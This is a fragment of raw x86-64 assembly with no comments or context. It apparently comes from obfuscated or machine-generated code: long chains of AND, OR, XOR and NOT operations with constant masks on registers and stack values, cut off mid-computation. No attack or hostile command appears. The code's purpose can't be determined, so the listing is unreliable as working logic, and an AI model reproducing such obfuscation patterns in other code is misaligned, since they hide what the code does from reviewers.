mov ecx, ebx
not ecx
mov edx, ebp
and edx, 0x28e15964
and eax, 0xd71ea69b
or eax, edx
or ebp, ecx
and ecx, 0x28e15964
and ebx, 0xd71ea69b
or ebx, ecx
xor ebx, eax
not ebp
or ebp, ebx
mov ebx, r10d
xor ebx, ebp
and ebp, ebx
and ebx, r10d
mov ecx, ebp
and ecx, ebx
xor ebx, ebp
or ebx, ecx
or edi, r8d
mov ecx, esi
not ecx
mov edx, edi
not edx
mov ebp, ecx
and ebp, 0xeb7bd961
and esi, 0x1484269e
or esi, ebp
or ecx, edx
and edx, 0xeb7bd961
and edi, 0x1484269e
or edi, edx
xor edi, esi
not ecx
or ecx, edi
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov eax, edx
not eax
mov edi, ecx
and edi, 0xa6b48a5a
and ebp, 0x594b75a5
or ebp, edi
or ecx, eax
and eax, 0xa6b48a5a
and edx, 0x594b75a5
or edx, eax
xor edx, ebp
not ecx
or ecx, edx
mov r8d, ecx
not r8d
mov edi, ebx
mov eax, ebx
xor eax, 0x40dbd75a
and eax, ebx
not ebx
and ebx, 0x79c79c78
and edi, 0x86386387
or edi, ebx
mov r9d, edi
xor r9d, 0x86386387
xor edi, 0x79c79c78
mov ebp, r9d
and ebp, 0x40dbd75a
mov edx, ecx
or edx, 0xbf2428a5
mov esi, edx
not esi
mov ebx, r8d
or ebx, 0x40dbd75a
mov r10d, ebp
and r10d, eax
xor eax, ebp
mov ebp, ebx
not ebp
or eax, r10d
and edx, 0x2c84c01a
and esi, 0x405b1740
or esi, edx
and ebx, 0x2c84c01a
and ebp, 0x932028a5
or ebp, ebx
xor ebp, esi
mov edx, eax
not edx
and edx, ebp
not ebp
and ebp, eax
or ebp, edx
mov eax, edi
and eax, 0x86227dc5
and r9d, 0x79dd823a
or r9d, eax
or edi, ecx
and ecx, 0x86227dc5
and r8d, 0x79dd823a
or r8d, ecx
xor r8d, r9d
not edi
or edi, r8d
mov eax, edi
not eax
mov r15d, ebp
not r15d
mov ecx, r15d
and ecx, 0x837db725
and ebp, 0x7c8248da
or ebp, ecx
or r15d, edi
and edi, 0x837db725
and eax, 0x7c8248da
or eax, edi
xor eax, ebp
not r15d
or r15d, eax
mov edi, dword [rsp + 0x44]
mov eax, edi
and eax, 0x80674240
mov ecx, r11d
and ecx, 0x32081ca0
or ecx, eax
xor ecx, 0x32081ca0
mov edx, r11d
and edx, 0x4d90a11f
or edx, ecx
mov eax, edx
not eax
and eax, 0xe3447ebd
and edx, 0x1cbb8142
or edx, eax
mov ecx, edx
xor ecx, 0xaed4dfa2
xor edx, 0x512b205d
mov ebp, edi
and ebp, 0x5310be00
mov eax, r11d
and eax, 0xacef41ff
or eax, ebp
mov ebp, eax
xor ebp, 0xacef41ff
xor eax, 0x5310be00
or eax, ebp
mov ebp, eax
not ebp
and ebp, edx
mov edx, ecx
xor edx, eax
and edx, ecx
and eax, ecx
or eax, ebp
mov ecx, edx
not ecx
mov ebp, eax
not ebp
mov ebx, ecx
and ebx, 0xc237fa6a
and edx, 0x3dc80595
or edx, ebx
or ecx, ebp
and ebp, 0xc237fa6a
and eax, 0x3dc80595
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xff0df7e2
and eax, ecx
not ecx
and ecx, 0xff0df7e2
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xa2acf8cb
and eax, 0x5d530734
or eax, ecx
mov ecx, eax
xor ecx, 0xa0500094
xor eax, 0x44200528
and eax, 0x462ef56a
and ecx, 0xb9d10a95
or ecx, eax
mov eax, ecx
xor eax, 0x6061162
xor ecx, 0x98d10204
and ecx, 0xd8f9e60c
and eax, 0x270619f3
or eax, ecx
mov ecx, eax
xor ecx, 0x25060113
xor eax, 0xc8998004
and eax, 0xca9998e4
and ecx, 0x3566671b
or ecx, eax
mov eax, ecx
xor eax, 0xa918844
xor ecx, 0x3566671b
mov edx, ecx
and edx, 0xc44c10bb
and eax, 0x3bb3ef44
or eax, edx
xor eax, 0x3bb3ef44
or eax, ecx
mov ecx, eax
not ecx
mov edx, edi
and edx, 0x63a707f4
and r11d, 0x9c58f80b
or r11d, edx
mov edx, r11d
xor edx, 0x4001009
xor r11d, 0x63a707f4
mov ebp, r14d
and ebp, 0xb879e942
mov ebx, dword [rsp + 0x38]
and ebx, 0x478616bd
or ebx, ebp
or r14d, r11d
and r11d, 0xb879e942
and edx, 0x478616bd
or edx, r11d
xor edx, ebx
not r14d
or r14d, edx
mov esi, ecx
xor esi, r14d
mov ebx, r14d
not ebx
mov ebp, ebx
xor ebp, eax
and r14d, 0xe782d78d
not ebp
and ebp, ebx
and ebx, 0x187d2872
or ebx, r14d
mov edi, ebx
xor edi, 0x187d2872
and edi, eax
xor ebx, 0xe782d78d
and ebx, ecx
or ebx, edi
xor eax, ebx
and eax, ebx
not esi
and esi, ecx
mov ecx, ebp
not ecx
mov edx, esi
not edx
mov ebx, ecx
and ebx, 0x156eb2b
and ebp, 0xfea914d4
or ebp, ebx
or ecx, edx
and edx, 0x156eb2b
and esi, 0xfea914d4
or esi, edx
xor esi, ebp
not ecx
or ecx, esi
mov edx, eax
xor edx, 0x4c28cbdb
mov r8d, edx
and edx, eax
not eax
mov edi, ecx
not edi
mov ebp, edi
and ebp, 0xb78dc59a
and ecx, 0x48723a65
or ecx, ebp
mov r11d, ecx
xor r11d, 0x48723a65
and r8d, eax
xor ecx, 0x408c19a
or ecx, 0xb3d73424
mov esi, ecx
not esi
or edi, 0x4c28cbdb
mov ebp, edi
not ebp
mov ebx, r8d
and ebx, edx
xor edx, r8d
or edx, ebx
and ecx, 0xc2378c56
and esi, 0xc084389
or esi, ecx
and edi, 0xc2378c56
and ebp, 0x31c03020
or ebp, edi
xor ebp, esi
mov ecx, edx
not ecx
and ecx, ebp
not ebp
and ebp, edx
or ebp, ecx
mov ecx, eax
and ecx, r11d
xor r11d, eax
or r11d, ecx
not r11d
mov eax, ebp
and eax, r11d
xor r11d, ebp
or r11d, eax
mov r9d, r15d
not r9d
mov eax, r9d
and eax, 0x50e204a7
mov ecx, r15d
and ecx, 0xa1c8050
or ecx, eax
mov edx, ecx
xor edx, 0x2088000
xor ecx, 0x94c25380
mov ebp, r9d
or ebp, 0x5afe84f7
mov eax, ebp
not eax
and ecx, 0x9cd653d0
and edx, 0x42288427
or edx, ecx
and ebp, 0x9cd653d0
and eax, 0x21012808
or eax, ebp
xor eax, edx
mov ecx, eax
not ecx
and ecx, 0xa5017b08
and eax, 0x5afe84f7
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x951002c
and eax, 0xa00492
or eax, ecx
xor eax, 0xa00492
or eax, 0xf60efb41
mov edx, eax
not edx
mov ebp, r9d
and ebp, 0x70f47d57
mov ecx, r15d
and ecx, 0x8f0b82a8
or ecx, ebp
xor ecx, 0x86fa8616
or ecx, r9d
mov ebp, ecx
not ebp
and ebp, eax
or eax, ecx
not eax
and ecx, edx
or ecx, ebp
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
or eax, 0xf60efb41
mov edi, eax
not edi
or ecx, 0x800048c
and ecx, 0xde0895cd
and edx, 0x20066a00
or edx, ecx
and eax, 0xde0895cd
and edi, 0x1f10032
or edi, eax
xor edi, edx
mov r10d, r11d
not r10d
mov eax, r10d
and eax, 0xeb9a4cf
mov edx, r11d
xor edx, 0xeb9a4cf
and edx, r11d
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0xf1465b30
and edx, 0xeb9a4cf
or edx, eax
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xbb1650b7
and ecx, edi
and edi, 0x44e9af48
or edi, eax
mov eax, edi
xor eax, 0x44a1ab40
xor edi, 0xbb1650b7
mov ebp, ecx
not ebp
mov ebx, edi
and ebx, 0x85e148c
and eax, 0xf7a1eb73
or eax, ebx
or edi, ebp
and ebp, 0x85e148c
and ecx, 0xf7a1eb73
or ecx, ebp
xor ecx, eax
not edi
or edi, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x1889e763
and edx, 0xe776189c
or edx, eax
mov r8d, edx
xor r8d, 0x47040000
mov r14d, edi
not r14d
xor edx, 0x1889e763
mov esi, edx
or esi, 0x1a8850f0
mov eax, esi
not eax
or ecx, 0xe577af0f
mov ebp, ecx
not ebp
mov ebx, edi
xor ebx, 0xe577af0f
and ebx, r14d
mov r12d, r14d
or r12d, 0xe577af0f
and esi, 0xb2aac7f8
and eax, 0x45552807
or eax, esi
mov esi, r12d
not esi
and ecx, 0xb2aac7f8
and ebp, 0x8001000
or ebp, ecx
xor ebp, eax
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xbc8ee962
and ebx, 0x4371169d
or ebx, eax
or ecx, r12d
and r12d, 0xbc8ee962
and esi, 0x2001090
or esi, r12d
xor esi, ebx
not ecx
or ecx, esi
mov eax, ebp
not eax
and eax, 0xeb8666d2
and ebp, 0x1479992d
or ebp, eax
mov eax, ecx
not eax
and eax, 0xeb8666d2
and ecx, 0x1479992d
or ecx, eax
xor ecx, ebp
mov eax, edx
and eax, 0xa8fa7bdc
and r8d, 0x57058423
or r8d, eax
or edx, edi
and edi, 0xa8fa7bdc
and r14d, 0x57058423
or r14d, edi
xor r14d, r8d
not edx
or edx, r14d
mov eax, edx
not eax
mov r14d, ecx
not r14d
mov edi, r14d
and edi, 0x12c1b244
and ecx, 0xed3e4dbb
or ecx, edi
or r14d, edx
and edx, 0x12c1b244
and eax, 0xed3e4dbb
or eax, edx
xor eax, ecx
not r14d
or r14d, eax
mov eax, r14d
not eax
and eax, 0x12231c00
mov ecx, r14d
and ecx, 0x40044
or ecx, eax
xor ecx, 0x40044
and r14d, 0xedd8e3bb
or r14d, ecx
mov eax, r14d
not eax
and eax, 0xedd8e3bb
and r14d, 0x12271c44
or r14d, eax
mov eax, r14d
not eax
mov ecx, eax
and ecx, 0xe90cf50f
and r14d, 0x16f30af0
or r14d, ecx
xor r14d, 0x16f30af0
or r14d, eax
mov r8d, r14d
not r8d
mov eax, r10d
and eax, 0x240062d1
mov ebx, r11d
and ebx, 0x40c80424
or ebx, eax
mov eax, ebx
xor eax, 0x420
xor ebx, 0xbf37fbdb
mov ecx, r11d
xor ecx, 0x64c866f5
and ecx, r11d
mov edx, ecx
not edx
mov esi, ebx
and esi, 0x68e9298e
and eax, 0x4004671
or eax, esi
or ebx, edx
and edx, 0x68e9298e
and ecx, 0x9716d671
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x9b37990a
and ebx, 0x64c866f5
or ebx, eax
mov eax, ebx
not eax
and eax, 0xdaf04f05
xor ebx, 0x250fb0fa
or ebx, eax
mov eax, ebx
not eax
and eax, 0xb7712eae
and ebx, 0x488ed151
or ebx, eax
mov edx, ebx
xor edx, 0x488ed151
mov eax, r10d
and eax, 0x8034b1d4
and r11d, 0x7fcb4e2b
or r11d, eax
xor r11d, 0xa53b012e
xor r10d, r11d
and r10d, r11d
mov eax, ebx
xor eax, 0x9771088a
and eax, 0xd77b489a
xor ebx, 0x43b5f534
and ebx, edx
and edx, 0x2884b765
or edx, eax
mov r11d, edx
xor r11d, 0x2884b765
mov esi, r10d
mov eax, r10d
xor eax, 0xb3b2465
and eax, r10d
not r10d
and r10d, 0x9d72aa7
and esi, 0xf628d558
or esi, r10d
mov ecx, esi
xor ecx, 0xf628d558
mov edi, edx
xor edi, 0xdc406cff
and edi, r11d
xor esi, 0x9d72aa7
mov ebp, ecx
and ebp, 0xb3b2465
mov r10d, edi
and r10d, ebx
xor ebx, edi
or ebx, r10d
mov edi, ebp
and edi, eax
xor eax, ebp
or eax, edi
mov ebp, ebx
not ebp
and ebp, eax
not eax
and eax, ebx
or eax, ebp
xor edx, 0xd77b489a
mov ebp, edx
and ebp, 0x72c225bd
and r11d, 0x8d3dda42
or r11d, ebp
or edx, esi
and esi, 0x72c225bd
and ecx, 0x8d3dda42
or ecx, esi
xor ecx, r11d
not edx
or edx, ecx
not edx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x5220185a
and edx, 0x20094480
or edx, eax
mov ebp, edx
xor ebp, 0x10400
xor edx, 0x1932a268
or ecx, 0x72295cda
mov eax, ecx
not eax
and edx, 0x393ae2e8
and ebp, 0x42011c12
or ebp, edx
and ecx, 0x393ae2e8
and eax, 0x84c40105
or eax, ecx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x4885bac6
and eax, 0xb77a4539
or eax, ecx
mov ebp, eax
xor ebp, 0xe05ca919
mov ecx, r9d
and ecx, 0xac2af9aa
mov edx, r15d
and edx, 0x53d50655
or edx, ecx
mov ebx, edx
xor ebx, 0x1d40441
xor edx, 0x828e088
and edx, 0x5a29e29c
and ebx, 0xa5d61d63
or ebx, edx
mov edx, ebx
xor edx, 0x5a090000
xor eax, 0x1fa356e6
mov ecx, eax
and ecx, 0x2df61a71
and eax, ebp
and ebp, 0xd209e58e
or ebp, ecx
xor ebp, 0xd209e58e
mov ecx, ebp
and ecx, eax
xor ebp, eax
or ebp, ecx
xor ebx, 0xa5d61d63
mov eax, ebx
and eax, 0x20ffbc
and edx, 0xffdf0043
or edx, eax
mov r10d, edx
xor r10d, 0xffdf0043
mov eax, ebp
not eax
xor edx, 0x203fbc
or edx, 0x4683c040
mov edi, edx
not edi
or ebx, 0xb97c3fbf
mov ecx, ebx
not ecx
mov esi, ebp
xor esi, 0xb97c3fbf
and esi, eax
and ebp, 0x4683c040
and edx, 0xad30c14e
and edi, 0x104c3eb1
or edi, edx
and ebx, 0xad30c14e
and ecx, 0x42830000
or ecx, ebx
xor ecx, edi
mov edx, esi
and edx, ebp
xor ebp, esi
or ebp, edx
mov edx, ecx
not edx
and edx, ebp
not ebp
and ebp, ecx
or ebp, edx
mov ecx, r10d
and ecx, eax
xor eax, r10d
or eax, ecx
mov ecx, eax
not ecx
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0x1c48b79
and ebp, 0xfe3b7486
or ebp, ebx
or edx, eax
and eax, 0x1c48b79
and ecx, 0xfe3b7486
or ecx, eax
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xb8004818
mov ecx, edx
and ecx, 0x4402124
or ecx, eax
xor ecx, 0x4402124
and edx, 0x43bf96c3
or edx, ecx
mov eax, edx
not eax
and eax, 0x4dde831b
and edx, 0xb2217ce4
or edx, eax
mov eax, edx
xor eax, 0xa4100d0
xor edx, 0x5114c004
and edx, 0x5534d50c
and eax, 0xaacb2af3
or eax, edx
mov esi, eax
xor esi, 0xa0c20292
xor eax, 0x41308108
and eax, 0x4b39a969
and esi, 0xb4c65696
or esi, eax
mov ebx, esi
xor ebx, 0x4b39a969
xor esi, 0xb4c65696
mov ecx, r14d
and ecx, 0x14be21fc
mov edx, r8d
and edx, 0xeb41de03
or edx, ecx
mov ecx, edx
xor ecx, 0x80408a01
mov eax, ebx
and eax, 0xdaa63d9
mov ebp, esi
and ebp, 0xf2559c26
or ebp, eax
mov eax, ebp
xor eax, 0x80508820
xor edx, 0x14be21fc
xor ebp, 0xdaa63d9
mov edi, edx
and edi, 0x7b07754e
and ecx, 0x84f88ab1
or ecx, edi
or edx, ebp
and ebp, 0x7b07754e
and eax, 0x84f88ab1
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xedc4a63d
and edx, 0x123b59c2
or edx, eax
mov ebp, edx
xor ebp, 0x123b59c2
xor edx, 0xc5408604
and r14d, 0x82120e06
mov eax, r8d
and eax, 0x71003001
or eax, r14d
xor eax, 0x71003001
and r8d, 0xcedc1f8
or r8d, eax
and ebx, 0xb0bce966
mov eax, esi
and eax, 0x4f431699
or eax, ebx
mov ecx, eax
xor ecx, 0x4f431699
xor eax, 0x43aed761
and eax, ecx
and esi, 0xcedc1f8
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, r8d
not eax
and eax, 0x8a48f0f8
and r8d, 0x75b70f07
or r8d, eax
mov eax, esi
not eax
and eax, 0x8a48f0f8
and esi, 0x75b70f07
or esi, eax
xor esi, r8d
and edx, 0xc772df06
mov ebx, ebp
and ebx, 0x388d20f9
or ebx, edx
mov r8d, ebx
xor r8d, 0x388d20f9
mov ecx, esi
not ecx
and ecx, 0x4dec192b
mov edx, esi
and edx, 0xb213e6d4
or edx, ecx
mov ecx, edx
xor ecx, 0xb213e6d4
xor ebx, 0xc772df06
mov eax, r8d
and eax, 0x4c47a1a1
and ebp, 0xb3b85e5e
or ebp, eax
mov eax, edx
xor eax, 0x1abb88a
and eax, ecx
and esi, 0xb3b85e5e
mov edi, eax
and edi, esi
xor esi, eax
or esi, edi
mov eax, ebp
not eax
and eax, 0x78a58c91
and ebp, 0x875a736e
or ebp, eax
mov eax, esi
not eax
and eax, 0x78a58c91
and esi, 0x875a736e
or esi, eax
xor esi, ebp
xor edx, 0x4dec192b
mov eax, ebx
and eax, 0x49bbcd36
and r8d, 0xb64432c9
or r8d, eax
or ebx, edx
and edx, 0x49bbcd36
and ecx, 0xb64432c9
or ecx, edx
xor ecx, r8d
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x55e4fdf9
and ebx, 0xaa1b0206
or ebx, eax
mov eax, ebx
xor eax, 0xa090000
xor ebx, 0x55e4fdf9
mov ebp, esi
not ebp
mov ecx, ebp
and ecx, 0xe556a25e
and esi, 0x1aa95da1
or esi, ecx
or ebp, ebx
and ebx, 0xe556a25e
and eax, 0x1aa95da1
or eax, ebx
xor eax, esi
not ebp
or ebp, eax
mov esi, ebp
not esi
mov eax, esi
and eax, ebp
mov edx, eax
not edx
mov ebx, ebp
and ebx, 0x189a5fdb
mov edi, ebp
mov ecx, esi
and ecx, 0xd844d0dc
and ebp, 0x27bb2f23
or ebp, ecx
xor ebp, 0xd844d0dc
or ebp, esi
and esi, 0xe765a024
or esi, ebx
or edi, edx
and edx, 0x189a5fdb
and eax, 0xe765a024
or eax, edx
xor eax, esi
not edi
or edi, eax
mov eax, edi
not eax
and eax, 0x8d4b0c9e
and edi, 0x72b4f361
or edi, eax
mov r10d, edi
xor r10d, 0x72b4f361
mov r14d, edi
xor r14d, 0x8d4b0c9e
mov r8d, ebp
not r8d
xor edi, 0x67949332
and edi, r10d
mov esi, r10d
or esi, 0xeadf9fac
mov eax, esi
not eax
mov ecx, ebp
xor ecx, 0x15206053
mov r11d, ecx
and r11d, ebp
and ecx, r8d
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0xe0f0bd60
and edi, 0x1f0f429f
or edi, edx
or ebx, esi
and esi, 0xe0f0bd60
and eax, 0x15004013
or eax, esi
xor eax, edi
not ebx
or ebx, eax
mov eax, r11d
and eax, ecx
xor ecx, r11d
or ecx, eax
mov eax, ebx
not eax
and eax, 0x1f2481f5
and ebx, 0xe0db7e0a
or ebx, eax
mov eax, ecx
not eax
and eax, 0x1f2481f5
and ecx, 0xe0db7e0a
or ecx, eax
xor ecx, ebx
mov eax, r14d
and eax, 0x990cdb3f
and r10d, 0x66f324c0
or r10d, eax
or r14d, r8d
and r8d, 0x990cdb3f
and ebp, 0x66f324c0
or ebp, r8d
xor ebp, r10d
not r14d
or r14d, ebp
mov eax, r14d
not eax
mov r11d, ecx
not r11d
mov edx, r11d
and edx, 0x6c5d5a48
and ecx, 0x93a2a5b7
or ecx, edx
or r11d, r14d
and r14d, 0x6c5d5a48
and eax, 0x93a2a5b7
or eax, r14d
xor eax, ecx
not r11d
or r11d, eax
mov ecx, r9d
and ecx, 0x4002024
mov eax, r15d
and eax, 0x4884d802
or eax, ecx
mov ecx, eax
xor ecx, 0x48801002
xor eax, 0xb77b27fd
mov edx, r15d
xor edx, 0x4c84f826
and edx, r15d
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xa327cb90
and ecx, 0x4c803026
or ecx, ebx
or eax, ebp
and ebp, 0xa327cb90
and edx, 0x5cd8346f
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x694a9e61
and eax, 0x96b5619e
or eax, ecx
mov ecx, eax
xor ecx, 0x80019190
xor eax, 0x5820247
and eax, 0x5fb20a6f
and ecx, 0xa04df590
or ecx, eax
mov eax, ecx
xor eax, 0xa04df590
xor ecx, 0x15a00827
and ecx, 0x35e5bc37
mov edx, eax
and edx, 0xca1a43c8
or edx, ecx
xor edx, 0x5a5c7c7d
and eax, 0x6fb9c04a
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xc1a178be
and eax, 0x3e5e8741
or eax, ecx
mov ebp, eax
xor ebp, 0x3e5e8741
xor eax, 0x2008b4
mov ecx, r9d
and ecx, 0x52d11446
and r15d, 0xad2eebb9
or r15d, ecx
xor r15d, 0xc2972bf3
xor r9d, r15d
and r9d, r15d
and eax, 0x42c0bf5
mov edx, ebp
and edx, 0xfbd3f40a
or edx, eax
mov r8d, edx
xor r8d, 0xfbd3f40a
mov eax, r9d
not eax
mov ecx, eax
and ecx, 0x70ee5de8
and r9d, 0x8f11a217
or r9d, ecx
mov r10d, r9d
xor r10d, 0x8f11a217
mov ecx, edx
xor ecx, 0x2fdaef9b
and ecx, r8d
and ebp, 0xd4091b91
mov esi, r9d
xor esi, 0x5b18b986
and esi, r10d
or eax, 0x2bf6e46e
mov edi, eax
not edi
mov ebx, ecx
and ebx, ebp
xor ebp, ecx
or ebp, ebx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0xb39e4ff1
and esi, 0x4c61b00e
or esi, ebx
or ecx, eax
and eax, 0xb39e4ff1
and edi, 0x44011000
or edi, eax
xor edi, esi
not ecx
or ecx, edi
mov eax, ebp
not eax
and eax, ecx
not ecx
and ecx, ebp
or ecx, eax
xor edx, 0x42c0bf5
xor r9d, 0x70ee5de8
mov eax, edx
and eax, 0xf672b63e
and r8d, 0x98d49c1
or r8d, eax
or edx, r9d
and r9d, 0xf672b63e
and r10d, 0x98d49c1
or r10d, r9d
xor r10d, r8d
not edx
or edx, r10d
mov eax, edx
not eax
and eax, 0x92ff9368
and edx, 0x6d006c97
or edx, eax
mov eax, edx
xor eax, 0x68002004
mov r8d, ecx
not r8d
xor edx, 0x92ff9368
mov ebp, r8d
and ebp, 0x874acd93
and ecx, 0x78b5326c
or ecx, ebp
or r8d, edx
and edx, 0x874acd93
and eax, 0x78b5326c
or eax, edx
xor eax, ecx
not r8d
or r8d, eax
mov eax, r8d
not eax
and eax, 0x6fb9c04a
and r8d, 0x90463fb5
or r8d, eax
mov r10d, r11d
not r10d
mov eax, r10d
and eax, 0x82abe101
mov r15d, r11d
and r15d, 0x7d541efe
or r15d, eax
mov edi, r15d
xor edi, 0x7d541efe
mov r9d, r15d
xor r9d, 0x82abe101
mov edx, r8d
or edx, 0x48e4421e
mov eax, edx
not eax
mov ecx, r8d
xor ecx, 0xb71bbde1
and ecx, r8d
mov esi, ecx
not esi
mov ebx, edx
and ebx, 0x25c6b1cb
and eax, 0x92190c20
or eax, ebx
or edx, esi
and esi, 0x25c6b1cb
and ecx, 0xda394e34
or ecx, esi
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x48e4421e
and edx, 0xb71bbde1
or edx, eax
mov ebp, edi
xor r15d, 0x1c9be281
and r15d, edi
mov r13d, edi
and r13d, 0xa488d80b
mov eax, r9d
mov ecx, edx
mov edi, edx
mov ebx, edx
xor ebx, 0x61cffc7f
and ebx, edx
not edx
mov r12d, edx
and edx, 0x1e2efba0
and edi, 0xe1d1045f
or edi, edx
mov edx, edi
xor edx, 0xe1d1045f
xor edi, 0x7fe107df
and edi, edx
mov r14d, r9d
and r14d, edx
xor edx, r9d
and r9d, 0x5b7727f4
or r9d, r13d
mov r13d, r8d
not r13d
xor r9d, 0x825b53fb
and eax, 0x26d38bf0
or eax, r9d
mov r9d, r10d
and r9d, 0xdb47773c
and r11d, 0x24b888c3
or r11d, r9d
xor r11d, 0x26b0333
xor r10d, r11d
and r10d, r11d
mov r9d, r10d
and r10d, eax
not eax
and r12d, 0x91d99dab
and ecx, 0x6e266254
or ecx, r12d
mov esi, ecx
xor esi, 0x6e266254
xor ecx, 0x401d8b
and ecx, 0x2427d8b
mov r11d, esi
and r11d, 0xfdbd8274
or r11d, ecx
xor r11d, 0x2491f67b
and esi, 0x26d38bf0
or esi, r11d
mov ecx, esi
not ecx
and ecx, 0x6ea0bf3f
and esi, 0x915f40c0
or esi, ecx
mov r11d, esi
xor r11d, 0x915f40c0
xor esi, 0x20800a2e
mov ecx, r13d
and ecx, 0xd92c740f
and r8d, 0x26d38bf0
or r8d, ecx
xor r13d, r8d
and r13d, r8d
not r9d
mov r8d, eax
xor r8d, r9d
and r8d, eax
and r9d, eax
or r9d, r10d
mov r12d, r8d
not r12d
mov eax, r9d
not eax
mov r10d, r12d
and r10d, 0xc399b2ee
and r8d, 0x3c664d11
or r8d, r10d
or r12d, eax
and eax, 0xc399b2ee
and r9d, 0x3c664d11
or r9d, eax
xor r9d, r8d
not r12d
or r12d, r9d
and esi, 0xa09a4aae
mov ecx, r11d
and ecx, 0x5f65b551
or ecx, esi
mov r8d, ecx
xor r8d, 0x5f65b551
mov eax, r13d
xor eax, 0xf9766137
and eax, r13d
not r13d
xor ecx, 0x59ec2b99
and ecx, r8d
and r11d, 0x6899ec8
mov r9d, r13d
and r9d, 0xf9766137
mov r10d, ecx
and r10d, r11d
xor r11d, ecx
or r11d, r10d
mov ecx, r9d
and ecx, eax
xor eax, r9d
or eax, ecx
mov ecx, r11d
not ecx
and ecx, 0xfee27989
and r11d, 0x11d8676
or r11d, ecx
mov ecx, eax
not ecx
and ecx, 0xfee27989
and eax, 0x11d8676
or eax, ecx
xor eax, r11d
mov ecx, r8d
and ecx, r13d
xor r13d, r8d
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0x96585e00
and r13d, 0x69a7a1ff
or r13d, ecx
mov ecx, r13d
xor ecx, 0x69a0a177
xor r13d, 0x96585e00
mov esi, eax
not esi
mov r8d, esi
and r8d, 0x14075a88
and eax, 0xebf8a577
or eax, r8d
or esi, r13d
and r13d, 0x14075a88
and ecx, 0xebf8a577
or ecx, r13d
xor ecx, eax
not esi
or esi, ecx
mov eax, r12d
not eax
mov ecx, eax
and ecx, 0x9ccdbdc9
and r12d, 0x63324236
or r12d, ecx
xor r12d, esi
xor r12d, 0x9ccdbdc9
and r12d, esi
mov ecx, esi
not ecx
and ecx, 0x173a46a3
and esi, 0xe8c5b95c
or esi, ecx
xor esi, 0x173a46a3
or esi, eax
mov ecx, esi
not ecx
mov r9d, r12d
not r9d
mov r8d, r9d
and r8d, 0x541d8f26
and r12d, 0xabe270d9
or r12d, r8d
or r9d, esi
and esi, 0x541d8f26
and ecx, 0xabe270d9
or ecx, esi
xor ecx, r12d
not r9d
or r9d, ecx
or ebp, 0x9e300380
mov ecx, ebp
not ecx
mov esi, r15d
not esi
mov r8d, ebp
and r8d, 0xc615fd2
and ecx, 0x618ea02d
or ecx, r8d
or ebp, esi
and esi, 0xc615fd2
and r15d, 0xf39ea02d
or r15d, esi
xor r15d, ecx
not ebp
or ebp, r15d
mov ecx, edi
not ecx
mov esi, ebx
not esi
mov r8d, ecx
and r8d, 0xb908eded
and edi, 0x46f71212
or edi, r8d
or ecx, esi
and esi, 0xb908eded
and ebx, 0x46f71212
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov ebx, ebp
not ebx
and ebx, ecx
not ecx
and ecx, ebp
or ecx, ebx
or edx, r14d
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x7c22065a
and edx, 0x83ddf9a5
or edx, ecx
mov ebx, edx
xor ebx, 0x982080
xor edx, 0x74000040
or ebp, 0xf4bd34ca
mov ecx, ebp
not ecx
or edx, 0x3428034
and edx, 0xf7479074
and ebx, 0xb8248a
or ebx, edx
and ebp, 0xf7479074
and ecx, 0x8004b01
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x94857bba
and ecx, 0x6b7a8445
or ecx, edx
mov edx, ecx
xor edx, 0x9a801084
mov eax, r9d
not eax
xor ecx, 0x60384f70
mov ebp, eax
or ebp, ecx
mov ebx, ebp
not ebx
and eax, 0x57fe32b
and r9d, 0xfa801cd4
or r9d, eax
and ecx, 0x57fe32b
and edx, 0xfa801cd4
or edx, ecx
xor edx, r9d
mov eax, edx
not eax
mov ecx, ebp
and ecx, 0x76bf0a74
and ebx, 0x8940f58b
or ebx, ecx
or ebp, eax
and eax, 0x76bf0a74
and edx, 0x8940f58b
or edx, eax
xor edx, ebx
not ebp
or ebp, edx
mov ecx, ebp
mov eax, ebp
xor eax, 0x6afd8290
and eax, ebp
not ebp
and ebp, 0x6a500090
and ecx, 0xad8200
or ecx, ebp
xor ecx, 0xad8200
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x95027d6f
and eax, 0x6afd8290
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x9b6fceb3
and eax, 0x6490314c
or eax, ecx
mov ecx, eax
xor ecx, 0x6490314c
xor eax, 0x9b6fceb3
and eax, ecx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
and ecx, 0x18344057
and eax, 0xe7cbbfa8
or eax, ecx
xor eax, 0x18344057
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x398b7a07
